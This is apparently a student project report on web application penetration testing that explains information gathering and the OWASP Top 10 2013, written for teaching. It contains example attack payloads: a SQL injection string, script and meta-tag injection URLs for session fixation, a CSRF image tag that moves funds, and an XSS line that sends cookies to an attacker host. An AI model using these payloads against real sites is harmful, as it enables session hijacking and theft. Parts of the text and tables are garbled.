SlideShare a Scribd company logo
1 of 73
I
Analysis of Web Application Penetration Testing
by
Md Yusuf Miah (Exam Roll: 16112)
Sohel Rana (Exam Roll: 16109)
Moh. Motiur Rahman (Exam Roll: 16108)
Md. Munjurul Islam (Exam Roll: 16114)
A project report submitted to the Institute of Information Technology
in partial fulfillment of the requirements for the degree of
Professional Masters in Information Technology
Supervisor: Jesmin Akhter
Institute of Information Technology
Jahangirnagar University
Savar, Dhaka-1342
April, 2017
II
DECLARATION
This project report is the result of our comprehensive study and analysis under the
supervision of Jesmin Akhter, Associate Professor, Institute of information technology (IIT),
Jahangirnagar University, Savar, Dhaka in partial fulfillment of the requirements for the
degree of Post Graduate Diploma in Information Technology (PGDIT). So, we, here by,
declare that this project report has not been submitted elsewhere for the requirement of
any kind of degree diploma or publication.
Md. Yusuf Miah Sohel Rana
ID: 16112 ID: 16109
Mohammad Motiur Rahman Md. Munjurul Islam
ID: 16108 ID: 16114
III
ACCEPTANCE
The project report entitled “Analysis of Web Application Penetration Testing” is submitted
to the Institute of Information Technology, Jahangirnagar University, Savar, Dhaka in partial
fulfillment of the requirements for the degree of Post Graduate Diploma in Information
Technology (PGDIT).
Date: February 2017
External
Project Supervision
Jesmin Akhter
Member, PGDIT Co-ordination Committee &
Associate Professor
IIT, Jahangirnagar University
Coordination Committee
M. Mesbahuddin Sarker
PGDIT Co-ordination
Committee,
Associate Professor
Institute of Information Technology,
K M Akkas Ali
Course Coordinator,
Associate Professor & Director
IIT, Jahangirnagar University
Md. Fazlul Karim Patwary
Member, PGDIT Co-ordination Committee &
Associate Professor
IIT, Jahangirnagar University
Jesmin Akhter
Member, PGDIT Co-ordination Committee &
Associate Professor
IIT, Jahangirnagar University
IV
ABSTRACT
Penetration testing is method to find out the vulnerabilities and security threats in web
application of the website.Withthe rapidgrowth WWW (WorldWide Web),the Internetbecomes
the major source forexchange of information across the world and there is a prime need to secure
our online dataandthe informationfromthe malicioususers.Now a day’s most attacks are done on
the application layer, new exploits are emerging rapidly and to overcome these attacks we must
thinkoutof the box.The bestway to secure ourwebapplicationof the website is by conducting the
penetrationtesting.Inthisresearchpaper,penetration analysisof web securityissuesof the website
is presented, BackTrack 5R3, using Kali Linux & Zenmap tools.
Keyword: vulnerability, attack, penetration testing, Kali Linux, BackTrack 5R3, Zenmap, web
application security, authentication. Post Graduate Diploma in IT (PGDIT).
V
ACKNOWLEDGEMENTS
In completion this Post Graduate project I have been fortunate to have support encouragement
form many people. I would like to acknowledgement them for their co-operation.
First, I would like to thanks Jesmin Akhter, my project advisor, for gardening me through each and
every step of the process with knowledge and support. Thanks you for your advice, guidance and
assistance.
I wouldlike to express my utmost gratitude to the IIT of Jahangirnagar University for providing the
opportunitytome to pursue the projectas a partial fulfillmentof the requirement for the degree of
Post Graduate Diploma in IT (PGDIT).
I alsofeel fortunate tobe blessedwiththe guidance andencouragement from my faculty members.
And we remember our friends who helped and supported us a lot.
Table of Contents
Sl. No. Topic Page No.
Declaration I
Acceptance II
Acknowledgement III
Abstract IV
Table of Contents V
Overviewof the Project 1-4
Chapter One
Information Gathering
1.1 Types of information gathering 5
1.2 Operating System 6
1.3 Login Pages 7
1.4 Who is Information 8
1.5 IP Address 9
1.6 Name Servers 10
1.7 Web Server 11
1.8 Sub Domain 12
1.9 Web Application 13
1.10 Web Application Firewall 14
VI
Chapter Two
Vulnerability Analysis Of Web Application
2.0 Overviewof VulnerabilityAnalysis 15
2.1 Injection 17
2.2 BrokenAuthenticationandSessionManagement 19
2.3 Cross-Site Scripting (XSS) 23
2.4 Insecure Direct Object References 25
2.5 Insecure Direct Object References 27
2.6 Sensitive Data Exposure 29
2.7 Missing Function Level Access Control 31
2.8 Cross-Site Request Forgery (CSRF) 33
2.9 CROSS-SITE REQUEST FORGERY (CSRF) 35
2.10 Unvalidated Redirects and Forwards 37
Chapter Three
ExploitationOf WebApplication
3.0 Overview of Exploitation 39
3.1 Scanning Phase 40
3.2 ExploitPhase 44
3.3 SQL Injection with Metasploit 48
3.4 Metasploit with BeEF plugin 58
Chapter Four
Reporting Of Web Application
4.1 Summaryof findings 63
4.2 owasptop ten2013 64
4.3 Advantagesof penetrationtestingservices 66
4.4 Limitationsof PenetrationTesting 67
Conclusion 68
Reference 69
VII
Analysis of Web Application Penetration Testing
OVERVIEW
The primary objective for a analysis of web application penetration test is to identify
exploitable vulnerabilities in applications before hackers are able to discover and exploit
them. Web application penetration testing will reveal real-world opportunities for hackers
to be able to compromise applications in such a way that allows for unauthorized access to
sensitive data or even take-over systems for malicious/non-business purposes.
This type of assessment is an attack simulation carried out by our highly trained security
consultants in an effort to:
 Identify application security flaws present in the environment
 Understand the level of risk for your organization
 Help address and fix identified application flaws
GDIT Security’s application penetration testers have experience developing software not
just trying to break it. They leverage this experience to zero in on critical issues and provide
actionable remediation guidance.
As a result of our penetration tests, you’ll be able to view your applications through the eyes
of both a hacker and an experienced developer to discover where you can improve your
security posture. Our consultants produce findings in written reports and provide your team
with the guidance necessary to effectively remediate any issues we uncover.
OVERVIEW
VIII
APPROACH
PGDIT Security’s web application penetration testing service utilizes a comprehensive, risk-
based approach to manually identify critical application-centric vulnerabilities that exist on
all in-scope applications.
Using this industry-standard approach, PGDIT Security’s comprehensive method covers the
classes of vulnerabilities in the Open Web Application Security Project (OWASP) Top 10
2013 including, but not limited to: Injection, Cross-Site Scripting, Cross-Site Request Forgery,
Invalidated Redirects & Forwards, Broken Authentication & Session Management, Security
Misconfiguration, Insecure Direct Object Access and more…
IX
Chapter One
Information Gathering
INFORMATION GATHERING
1. Information Gathering
In the same manner Web Pentesting is also much like this. When you are going to hunt a
website down then you must know what really you are going to deal with, if you know your
enemy which you are going to face then you can prepare yourself for that.
So this is why Information Gathering is the first phase of Penetration testing. But now arise
the question what information are we going to collect and where are we going to get that
information from. "Where and how".
1.1 There are two types of information gathering:
 Passive Information Gathering
 Active Information Gathering
I) Passive Information Gathering
Passive information gathering can be stated collecting from other sources apart from victim
and we can discover information about targets without touching their systems or client
concern.
For example, you can identify network boundaries, operating systems, open ports, and web
server software in use on the target without touching their system.
II) Active Information Gathering
Active information gathering can be defined as piling up all information when information of
victim or client is been carried out in premises.
X
1.2. OPERATING SYSTEM
Well most of you know what an operating system is but still if any one is confused that why
do we need to know the OS, then let me clarify that when we know the operating system
then we can find out the rights attacks, Open Ports, Exploits, Common Services etc which
will help us later in pentesting.
XI
1.3. LOGIN PAGES
While pentesting when you find a login page or admin login page which requires some
username and password to login then that is nothing to get sub about, actually getting a
login page is just like finding a Locked door of a Secure house. But the to break inside you
can use a master key or you can even break the lock. In the same manner Login pages can
also be tested for many known Attacks
XII
1.4. WHO IS INFORMATION:
This is the most basic information about a domain, It shows the registration Details of the
website in which you can commonly see who registered the domain and which date did he
registered it on, when will it expire etc. This information may help you sometimes in Social
engineering like sending him email on his registered email. Or you use his address, name or
contact number in various tasks of Social Engineering.
XIII
1.5. IP ADDRESS
Well this ones for newbie’s, actually IP address is the real address behind any domain name
which are resolved by the nameservers. Every Box or you can say a system contains a unique
IP address for example (213.155.66.22). Using it computers communicate to each other. IP
Address will help us targeting the network as well as find open ports and other exploitable
services on the system while pentesting.
XIV
1.6. NAME SERVERS
These are the DNS resolvers, for example when you type in google.com in your browser the
DNS resolvers find the real IP behind and take your request to the server, and bring back the
response. We can later target the nameservers to for DNS based attacks testing of our
pentesting.
XV
1.7. WEB SERVER
Webservers the one we are dealing over here is an application which is running over an
Operating system and serves to the web requests coming to the system. Like Apache,
Tomcat, IIS etc are webservers running on an operating system when any web request is
sent to a system they handle it and they are responsible for giving out the response. Many
times you can get Exploits related to a webserver and get a way into the sytem using that
exploit, and if you know which webserver is bieng used then it will help you to find out the
default directories or known vulnerabilities for that web server.
XVI
1.8. SUB DOMAIN
If you do not know what subdomains are then, Subdomain are domains maintained under a
domain for example google.com is a domain name then mail.google.com is a subdomain
inside it. We need to collect all available sub domains for a website. In many cases you may
find hidden or private domain where they are maintaining something private and such
application are usually left vulnerable and exposed because of the assumption the no one
can reach them.
XVII
1.9. WEB APPLICATION
Many times what you are targetting is a public Web Application like Joomla, Wordress or
any other. We also need to get all the information about the web Application so we can find
any known Vulnerability for that particular Version or else we can find any Vulnerability in
the source code available online.
XVIII
1.10. WEB APPLICATION FIREWALL
We can also test if they are using any firewall for that we can know what we are going to
face and is there any ways to bypass that firewall. These are some of the common things we
are going to try and find about our target.
XIX
Chapter Two
Vulnerability Analysis Of Web Application
VULNERABILITY ANALYSIS
Vulnerability analysis, also known as vulnerability assessment, is a process that defines,
identifies, and classifies the security holes (vulnerabilities) in a computer, network, or
communications infrastructure. In addition, vulnerability analysis can forecast the
effectiveness of proposed countermeasures and evaluate their actual effectiveness after
they are put into use.
The Open Web Application Security Project (OWASP) is an international organization
dedicated to enhancing the security of web applications. As part of its mission, OWASP
sponsors numerous security-related projects, one of the most popular being the Top 10
Project. This project publishes a list of what it considers the current top 10 web application
security risks worldwide. The list describes each vulnerability, provides examples, and offers
suggestions on how to avoid it. The most recent version of the top 10 list, officially
published in June 2013, updated the 2010 list. The 2013 Top 10 list is based on data from
seven application security firms, spanning over 500,000 vulnerabilities across hundreds of
organizations. OWASP prioritized the top 10 according to their prevalence and their relative
exploitability, detectability, and impact.
As a further aid in understanding some of these vulnerabilities, the IBM Security Systems
Ethical Hacking team has prepared the following videos.
XX
OPEN WEB APPLICATION SECURITY PROJEC (OWASP) TOP TEN VULNERABLE LIST
2.1: Injection.
2.2: BrokenAuthenticationandSessionManagement.
2.3: Cross-Site Scripting(XSS)
2.4: Insecure DirectObjectReferences.
2.5: SecurityMisconfiguration.
2.6: SensitiveDataExposure
2.7: MissingfunctionLevel AccessControl
2.8: Cross-Site RequestForgery(CSRF)
2.9: UsingComponentwithKnownVulnerablities
2.10: UnvalidatedRedirectsandForwards
XXI
2.1 INJECTION
Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an
interpreter as part of a command or query. The attacker’s hostile data can trick the
interpreter into executing unintended commands or accessing data without proper
authorization.
A1- Injection
Threat
Agents
Attack
Vectors
Security Weakness Technical
Impacts
Business
Impacts
Application
Specific
Exploitability
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application/
Business
Specific
Consider
anyone who
can send
untrusteddata
to the system,
including
external users,
internal users,
and
administrators.
Attackersends
simple text-
basedattacks
that exploitthe
syntax of the
targeted
interpreter.
Almostany
source of data
can be an
injection
vector,
including
internal
sources.
Injectionflaws occurwhenan
applicationsendsuntrusted
data to an interpreter.
Injectionflawsare very
prevalent,particularlyinlegacy
code.Theyare oftenfoundin
SQL, LDAP,Xpath,or NoSQL
queries;OScommands;XML
parsers,SMTP Headers,
program arguments,etc.
Injectionflawsare easyto
discoverwhenexaminingcode,
but frequentlyhardtodiscover
viatesting.Scannersand
fuzzerscan helpattackersfind
injectionflaws.
Injectioncan
resultindata
lossor
corruption,
lack of
accountability,
or denial of
access.
Injectioncan
sometimes
leadto
complete host
takeover.
Considerthe
business
value of the
affecteddata
and the
platform
runningthe
interpreter.
All data could
be stolen,
modified,or
deleted.
Couldyour
reputationbe
harmed?
XXII
Example Attack Scenarios
Scenario #1: The application uses untrusted data in the construction of the following
vulnerable SQL call:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") + "'";
Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that
are still vulnerable, (e.g., Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery(“FROM accounts
WHERE custID='“ + request.getParameter("id") + "'");
In both cases, the attacker modifies the ‘id’ parameter value in her browser to send:
' or '1'='1. For example:
http://example.com/app/accountView?id=' or '1'='1
This changes the meaning of both queries to return all the records from the accounts table.
More dangerous attacks could modify data or even invoke stored procedures.
XXIII
2. 2. BROKEN AUTHENTICATION AND SESSION MANAGEMENT:
Application functions related to authentication and session management are often not
implemented correctly, allowing attackers to compromise passwords, keys, or session
tokens, or to exploit other implementation flaws to assume other users’ identities.
A2- Broken Authentication and Session
Management
Threat
Agents
Attack
Vectors
Security Weakness Technical
Impacts
Business
Impacts
Application
Specific
Exploitability
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application
/ Business
Specific
Consider
whocan gain
access to
your
sensitive
data and any
backupsof
that data.
Thisincludes
the data at
rest,in
transit,and
eveninyour
customers’
browsers.
Include both
external and
internal
threats.
Attackers
typicallydon’t
breakcrypto
directly.They
break
something
else,suchas
steal keys,do
man-in-the-
middle
attacks,or
steal cleartext
data off the
server,while
intransit,or
fromthe
user’s
browser.
The most commonflaw is
simplynotencryptingsensitive
data. Whencryptois
employed,weakkey
generationandmanagement,
and weakalgorithmusage is
common,particularlyweak
passwordhashingtechniques.
Browserweaknessesare very
commonand easyto detect,
but hard to exploitona large
scale.External attackershave
difficultydetectingserverside
flawsdue tolimitedaccessand
theyare alsousuallyhardto
exploit.
Failure
frequently
compromises
all data that
shouldhave
been
protected.
Typically,this
information
includes
sensitivedata
such as
health
records,
credentials,
personal
data, credit
cards, etc.
Considerthe
business
value of the
lostdata and
impactto
your
reputation.
What isyour
legal liability
if thisdata is
exposed?
Alsoconsider
the damage
to your
reputation.
XXIV
Sessionfixation:
Session Fixation is an attack that permits an attacker to hijack a valid user session. The
attack explores a limitation in the way the web application manages the session ID, more
specifically the vulnerable web application. When authenticating a user, it doesn’t assign a
new session ID, making it possible to use an existent session ID. The attack consists of
obtaining a valid session ID (e.g. by connecting to the application), inducing a user to
authenticate himself with that session ID, and then hijacking the user-validated session by
the knowledge of the used session ID. The attacker has to provide a legitimate Web
application session ID and try to make the victim's browser use it.
The session fixation attack is a class of Session Hijacking, which steals the established
session between the client and the Web Server after the user logs in. Instead, the Session
Fixation attack fixes an established session on the victim's browser, so the attack starts
before the user logs in.
There are several techniques to execute the attack; it depends on how the Web application
deals with session tokens. Below are some of the most common techniques:
• Session token in the URL argument: The Session ID is sent to the victim in a hyperlink and
the victim accesses the site through the malicious URL.
XXV
• Session token in a hidden form field: In this method, the victim must be tricked to
authenticate in the target Web Server, using a login form developed for the attacker. The
form could be hosted in the evil web server or directly in html formatted e-mail.
• Session ID in a cookie:
* Client-side script
Most browsers support the execution of client-side scripting. In this case, the aggressor
could use attacks of code injection as the XSS (Cross-site scripting) attack to insert a
malicious code in the hyperlink sent to the victim and fix a Session ID in its cookie. Using the
function document.cookie, the browser which executes the command becomes capable of
fixing values inside of the cookie that it will use to keep a session between the client and the
Web Application.
* <META> tag
<META> tag also is considered a code injection attack, however, different from the XSS
attack where undesirable scripts can be disabled, or the execution can be denied. The attack
using this method becomes much more efficient because it's impossible to disable the
processing of these tags in the browsers.
* HTTP header response
This method explores the server response to fix the Session ID in the victim's browser.
Including the parameter Set-Cookie in the HTTP header response, the attacker is able to
insert the value of Session ID in the cookie and sends it to the victim's browser.
Example 1
Client-side scripting
The processes for the attack using the execution of scripts in the victim's browser are very
similar to example 1, however, in this case, the Session ID does not appear as an argument
of the URL, but inside of the cookie. To fix the value of the Session ID in the victim's cookie,
the attacker could insert a JavaScript code in the URL that will be executed in the victim's
browser.
http://website.kom/<script>document.cookie=”sessionid=abcd”;</script>
Example 3
<META> tag
XXVI
As well as client-side scripting, the code injection must be made in the URL that will be sent
to the victim.
http://website.kon/<meta http-equiv=Set-Cookie content=”sessionid=abcd”>
Example 4
HTTP header response
The insertion of the value of the SessionID into the cookie manipulating the server response
can be made, intercepting the packages exchanged between the client and the Web
Application inserting the Set-Cookie parameter.
Figure 2. Set-Cookie in the HTTP header response
Example Attack Scenarios
Scenario #1: Airline reservations application supports URL rewriting, putting session IDs in
the URL:
http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii
An authenticated user of the site wants to let his friends know about the sale. He e-mails
the above link without knowing he is also giving away his session ID. When his friends use
the link they will use his session and credit card.
Scenario #2: Application’s timeouts aren’t set properly. User uses a public computer to
access site. Instead of selecting “logout” the user simply closes the browser tab and walks
away. Attacker uses the same browser an hour later, and that browser is still authenticated.
Scenario #3: Insider or external attacker gains access to the system’s password database.
User passwords are not properly hashed, exposing every users’ password to the attacker.
2.3. CROSS-SITE SCRIPTING (XSS)
XXVII
XSSflawsoccur wheneveran applicationtakesuntrusteddataandsendsittoa webbrowserwithout
propervalidationorescaping.XSSallowsattackerstoexecutescriptsinthe victim’sbrowserwhich
can hijackusersessions,deface websites,orredirectthe usertomalicioussites.
implementationflawstoassume otherusers’identities.
A3- Cross-Site Scripting (XSS)
Threat
Agents
Attack
Vectors
Security Weakness Technical
Impacts
Business
Impacts
Application
Specific
Exploitability
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application
/ Business
Specific
Consider
anyone who
can send
untrusteddata
to the system,
including
external users,
internal users,
and
administrators.
Attackersends
text-based
attack scripts
that exploitthe
interpreterin
the browser.
Almostany
source of data
can be an
attack vector,
including
internal
sourcessuch as
data fromthe
database.
XSS is the most prevalent
web application security
flaw. XSS flaws occur when
an application includes user
supplied data in a page sent
to the browser without
properly validating or
escaping that content. There
are two different types of
XSS flaws: 1) Stored and 2)
Reflected, and each of these
can occur on the a) Server or
b) on the Client.
Detection of most Server
XSS flaws is fairly easy via
testing or code analysis.
Client XSS is very difficult
to identify.
Attackers can
execute
scripts in a
victim’s
browser to
hijack user
sessions,
deface web
sites, insert
hostile
content,
redirect users,
hijack the
user’s browser
using
malware, etc.
Consider the
business
value of the
affected
system and
all the data it
processes.
Also
consider the
business
impact of
public
exposure of
the
vulnerability.
XXVIII
Example Attack Scenarios
The application uses untrusted data in the construction of the following HTML snippet
without validation or escaping:
(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";
The attacker modifies the 'CC' parameter in their browser to:
'><script>document.location= 'http://www.attacker.com/cgi-
bin/cookie.cgi ?foo='+document.cookie</script>'.
This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker
to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application
might employ. See A8 for info on CSRF.
XXIX
2.4. INSECURE DIRECT OBJECT REFERENCES
A direct object reference occurs when a developer exposes a reference to an internal
implementation object, such as a file, directory, or database key. Without an access control
check or other protection, attackers can manipulate these references to access
unauthorized data.
A4- Insecure Direct Object References
Threat
Agents
Attack
Vectors
Security Weakness Technical
Impacts
Business
Impacts
Application
Specific
Exploitability
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application
/ Business
Specific
Considerthe
typesof users
of your
system.Do
any users
have only
partial access
to certain
typesof
systemdata?
Attacker,who
isan
authorized
systemuser,
simplychanges
a parameter
value that
directlyrefers
to a system
objectto
anotherobject
the userisn’t
authorizedfor.
Is access
granted?
Applications frequently use
the actual name or key of an
object when generating web
pages. Applications don’t
always verify the user is
authorized for the target
object. This results in an
insecure direct object
reference flaw. Testers can
easily manipulate parameter
values to detect such flaws.
Code analysis quickly shows
whether authorization is
properly verified.
Such flawscan
compromise
all the data
that can be
referencedby
the
parameter.
Unlessobject
referencesare
unpredictable,
it’seasyfor an
attackerto
access all
available data
of thattype.
Consider the
business
value of the
exposed
data.
Also
consider the
business
impact of
public
exposure of
the
vulnerability.
Example Attack Scenarios:
The application uses unverified data in a SQL call that is accessing account information:
XXX
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query ,
… );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
The attacker simply modifies the ‘acct’ parameter in their browser to send whatever
account number they want. If not verified, the attacker can access any user’s account,
instead of only the intended customer’s account.
http://example.com/app/accountInfo?acct=notmyacct
XXXI
2.5. SECURITY MISCONFIGURATION:
Good security requires having a secure configuration defined and deployed for the application,
frameworks,applicationserver, web server, database server, and platform. Secure settings should
be defined, implemented, and maintained, as defaults are often insecure. Additionally, software
should be kept up to date.
A5- Insecure Direct Object References
Threat
Agents
Attack
Vectors
Security Weakness Technical
Impacts
Business
Impacts
Application
Specific
Exploitability
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application /
Business
Specific
Consider
anonymous
external
attackers as
well as users
with their own
accounts that
may attempt
to
compromise
the system.
Also consider
insiders
wanting to
disguise their
actions.
Attacker
accesses
default
accounts,
unusedpages,
unpatched
flaws,
unprotected
filesand
directories,etc.
to gain
unauthorized
access to or
knowledge of
the system.
Security misconfiguration
can happen at any level of an
application stack, including
the platform, web server,
application server, database,
framework, and custom
code. Developers and system
administrators need to work
together to ensure that the
entire stack is configured
properly. Automated
scanners are useful for
detecting missing patches,
misconfigurations, use of
default accounts,
unnecessary services, etc.
The system
could be
completely
compromised
without you
knowing it.
All of your
data could be
stolen or
modified
slowly over
time.
Recovery
costs could
be expensive.
The system
could be
completely
compromised
without you
knowing it.
All your data
could be
stolen or
modified
slowly over
time.
Recovery
costs could
be expensive.
Example Attack Scenarios:
XXXII
Scenario #1: The app server admin console is automatically installed and not removed.
Default accounts aren’t changed. Attacker discovers the standard admin pages are on your
server, logs in with default passwords, and takes over.
Scenario #2: Directory listing is not disabled on your server. Attacker discovers she can
simply list directories to find any file. Attacker finds and downloads all your compiled Java
classes, which she decompiles and reverse engineers to get all your custom code. She then
finds a serious access control flaw in your application.
Scenario #3: App server configuration allows stack traces to be returned to users,
potentially exposing underlying flaws. Attackers love the extra information error messages
provide.
Scenario #4: App server comes with sample applications that are not removed from your
production server. Said sample applications have well known security flaws attackers can
use to compromise your server.
XXXIII
2.6. SENSITIVE DATA EXPOSURE:
Many web applications do not properly protect sensitive data, such as credit cards, tax IDs,
and authentication credentials. Attackers may steal or modify such weakly protected data to
conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra
protection such as encryption at rest or in transit, as well as special precautions when
exchanged with the browser.
A6-Sensitive Data Exposure
Threat
Agents
Attack
Vectors
Security Weakness Technical
Impacts
Business
Impacts
Application
Specific
Exploitability
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application
/ Business
Specific
Considerwho
can gain
access to your
sensitivedata
and any
backupsof
that data. This
includesthe
data at rest,
intransit,and
eveninyour
customers’
browsers.
Include both
external and
Attackers
typicallydon’t
breakcrypto
directly. They
break
somethingelse,
such as steal
keys,doman-
in-the-middle
attacks,or
steal cleartext
data off the
server,while in
transit,or from
the user’s
The most commonflaw is
simplynotencryptingsensitive
data. Whencryptois
employed,weak key
generationandmanagement,
and weakalgorithmusage is
common,particularlyweak
passwordhashingtechniques.
Browserweaknessesare very
commonand easyto detect,
but hard to exploitona large
scale.External attackershave
difficultydetectingserverside
flawsdue tolimitedaccessand
theyare alsousuallyhardto
Failure
frequently
compromises
all data that
shouldhave
been
protected.
Typically,this
information
includes
sensitivedata
such as health
records,
credentials,
personal data,
Considerthe
business
value of the
lostdata and
impactto
your
reputation.
What isyour
legal liabilityif
thisdata is
exposed?Also
considerthe
damage to
your
reputation.
XXXIV
internal
threats.
browser. exploit. creditcards,
etc.
Example Attack Scenarios:
Scenario #1: An application encrypts credit card numbers in a database using automatic
database encryption. However, this means it also decrypts this data automatically when
retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. The
system should have encrypted the credit card numbers using a public key, and only allowed
back-end applications to decrypt them with the private key.
Scenario #2: A site simply doesn’t use SSL for all authenticated pages. Attacker simply
monitors network traffic (like an open wireless network), and steals the user’s session
cookie. Attacker then replays this cookie and hijacks the user’s session, accessing the user’s
private data.
Scenario #3: The password database uses unsalted hashes to store everyone’s passwords. A
file upload flaw allows an attacker to retrieve the password file. All of the unsalted hashes
can be exposed with a rainbow table of precalculated hashes.
XXXV
2.7. MISSING FUNCTION LEVEL ACCESS CONTROL
Most web applications verify function level access rights before making that functionality
visible in the UI. However, applications need to perform the same access control checks on
the server when each function is accessed. If requests are not verified, attackers will be able
to forge requests in order to access functionality without proper authorization.
A7- Missing Function Level Access Control
Threat
Agents
Attack
Vectors
Security Weakness Technical
Impacts
Business
Impacts
Application
Specific
Exploitability
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application
/ Business
Specific
Anyone with
network
access can
sendyour
applicationa
request.
Could
anonymous
usersaccess
private
functionality
or regular
usersa
privileged
function?
Attacker, who is
an authorized
system user,
simply changes
the URL or a
parameter to a
privileged
function. Is
access granted?
Anonymous
users could
access private
functions that
aren’t
protected.
Applications do not always
protect application functions
properly. Sometimes,
function level protection is
managed via configuration,
and the system is
misconfigured. Sometimes,
developers must include the
proper code checks, and they
forget.
Detecting such flaws is easy.
The hardest part is
identifying which pages
(URLs) or functions exist to
attack.
Such flaws
allow
attackersto
access
unauthorized
functionality.
Administrative
functionsare
keytargetsfor
thistype of
attack.
Consider the
business
value of the
exposed
functions
and the data
they process.
Also
consider the
impact to
your
reputation if
this
vulnerability
became
public.
Example Attack Scenarios:
XXXVI
Scenario #1: The attacker simply force browses to target URLs. The following URLs require
authentication. Admin rights are also required for access to the dmin_getappInfo page.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-
admin, user is allowed to access the admin_getappInfo page, this is also a flaw, and may
lead the attacker to more improperly protected admin pages.
Scenario #2: A page provides an 'action' parameter to specify the function being invoked,
and different actions require different roles. If these roles aren’t enforced, that’s a flaw.
XXXVII
2.8. CROSS-SITE REQUEST FORGERY (CSRF):
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including
the victim’s session cookie and any other automatically included authentication information,
to a vulnerable web application. This allows the attacker to force the victim’s browser to
generate requests the vulnerable application thinks are legitimate requests from the victim.
A8- Cross-Site Request Forgery (CSRF)
Threat
Agents
Attack
Vectors
Security Weakness Technical
Impacts
Business
Impacts
Application
Specific
Exploitability
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application
/ Business
Specific
Consider
anyone who
can load
contentinto
your users’
browsers,and
thusforce
themto
submita
requestto
your website.
Anywebsite
or other
HTML feed
that your
usersaccess
coulddo this.
Attacker
createsforged
HTTP requests
and tricksa
victiminto
submitting
themviaimage
tags, XSS,or
numerous
other
techniques. If
the useris
authenticated,
the attack
succeeds.
CSRF takesadvantage the fact
that mostwebapps allow
attackersto predictall the
detailsof a particularaction.
Because browsers send
credentials like session
cookies automatically,
attackers can create
malicious web pages which
generate forged requests that
are indistinguishable from
legitimate ones.
Detection of CSRF flaws is
fairly easy via penetration
testing or code analysis.
Attackers can
trick victims
into
performing any
state changing
operation the
victim is
authorized to
perform, e.g.,
updating
account
details, making
purchases,
logout and
even login.
Consider the
business
value of the
affected
data or
application
functions.
Imagine not
being sure if
users
intended to
take these
actions.
Consider the
impact to
your
reputation.
Example Attack Scenarios:
XXXVIII
The application allows a user to submit a state changing request that does not include
anything secret. For example:
http://example.com/app/transferFunds?amount=1500&destinationAc
count=4673243243
So, the attacker constructs a request that will transfer money from the victim’s account to the
attacker’s account, and then embeds this attack in an image request or iframe stored on
various sites under the attacker’s control:
<img
src="http://example.com/app/transferFunds?amount=1500&destinat
ionAccount=attackersAcct#" width="0" height="0" />
If the victim visits any of the attacker’s sites while already authenticated to example.com,
these forged requests will automatically include the user’s session info, authorizing the
attacker’s request.
XXXIX
2.9. USING COMPONENTS WITH KNOWN VULNERABILITIES
Components, such as libraries, frameworks, and other software modules, almost always run
with full privileges. If a vulnerable component is exploited, such an attack can facilitate
serious data loss or server takeover. Applications using components with known
vulnerabilities may undermine application defenses and enable a range of possible attacks
and impacts.
A9- Using Components with Known
Vulnerabilities
Threat
Agents
Attack
Vectors
Security Weakness Technical
Impacts
Business
Impacts
Application
Specific
Exploitability
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application
/ Business
Specific
Some
vulnerable
components
(e.g.,
framework
libraries) can
be identified
and exploited
with
automated
tools,
expandingthe
threatagent
pool beyond
targeted
Attacker
identifiesa
weak
component
through
scanningor
manual
analysis.He
customizesthe
exploitas
neededand
executesthe
attack. It gets
more difficultif
the used
Virtually every application
has these issues because
most development teams
don’t focus on ensuring their
components/libraries are up
to date. In many cases, the
developers don’t even know
all the components they are
using, never mind their
versions. Component
dependencies make things
even worse.
The full range
of weaknesses
ispossible,
including
injection,
brokenaccess
control,XSS,
etc.The
impactcould
range from
minimal to
complete host
takeoverand
data
compromise.
Consider
what each
vulnerability
might mean
for the
business
controlled by
the affected
application.
It could be
trivial or it
could mean
complete
compromise.
XL
attackersto
include
chaotic
actors.
componentis
deepinthe
application.
Example Attack Scenarios:
Component vulnerabilities can cause almost any type of risk imaginable, ranging from the
trivial to sophisticated malware designed to target a specific organization. Components
almost always run with the full privilege of the application, so flaws in any component can
be serious, The following two vulnerable components were downloaded 22m times in 2011.
 Apache CXF Authentication Bypass – By failing to provide an identity token, attackers
could invoke any web service with full permission. (Apache CXF is a services
framework, not to be confused with the Apache Application Server.)
 Spring Remote Code Execution – Abuse of the Expression Language implementation
in Spring allowed attackers to execute arbitrary code, effectively taking over the
server.
Every application using either of these vulnerable libraries is vulnerable to attack as both of
these components are directly accessible by application users. Other vulnerable libraries,
used deeper in an application, may be harder to exploit.
XLI
2.10. UNVALIDATED REDIRECTS AND FORWARDS
Web applications frequently redirect and forward users to other pages and websites, and
use untrusted data to determine the destination pages. Without proper validation, attackers
can redirect victims to phishing or malware sites, or use forwards to access unauthorized
pages.
A10- Unvalidated Redirects and Forwards
Threat
Agents
Attack
Vectors
Security Weakness Technical
Impacts
Business
Impacts
Application
Specific
Exploitability
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application
/ Business
Specific
Consider
anyone who
can trick your
usersinto
submittinga
requestto
your website.
Anywebsite
or other
HTML feed
that your
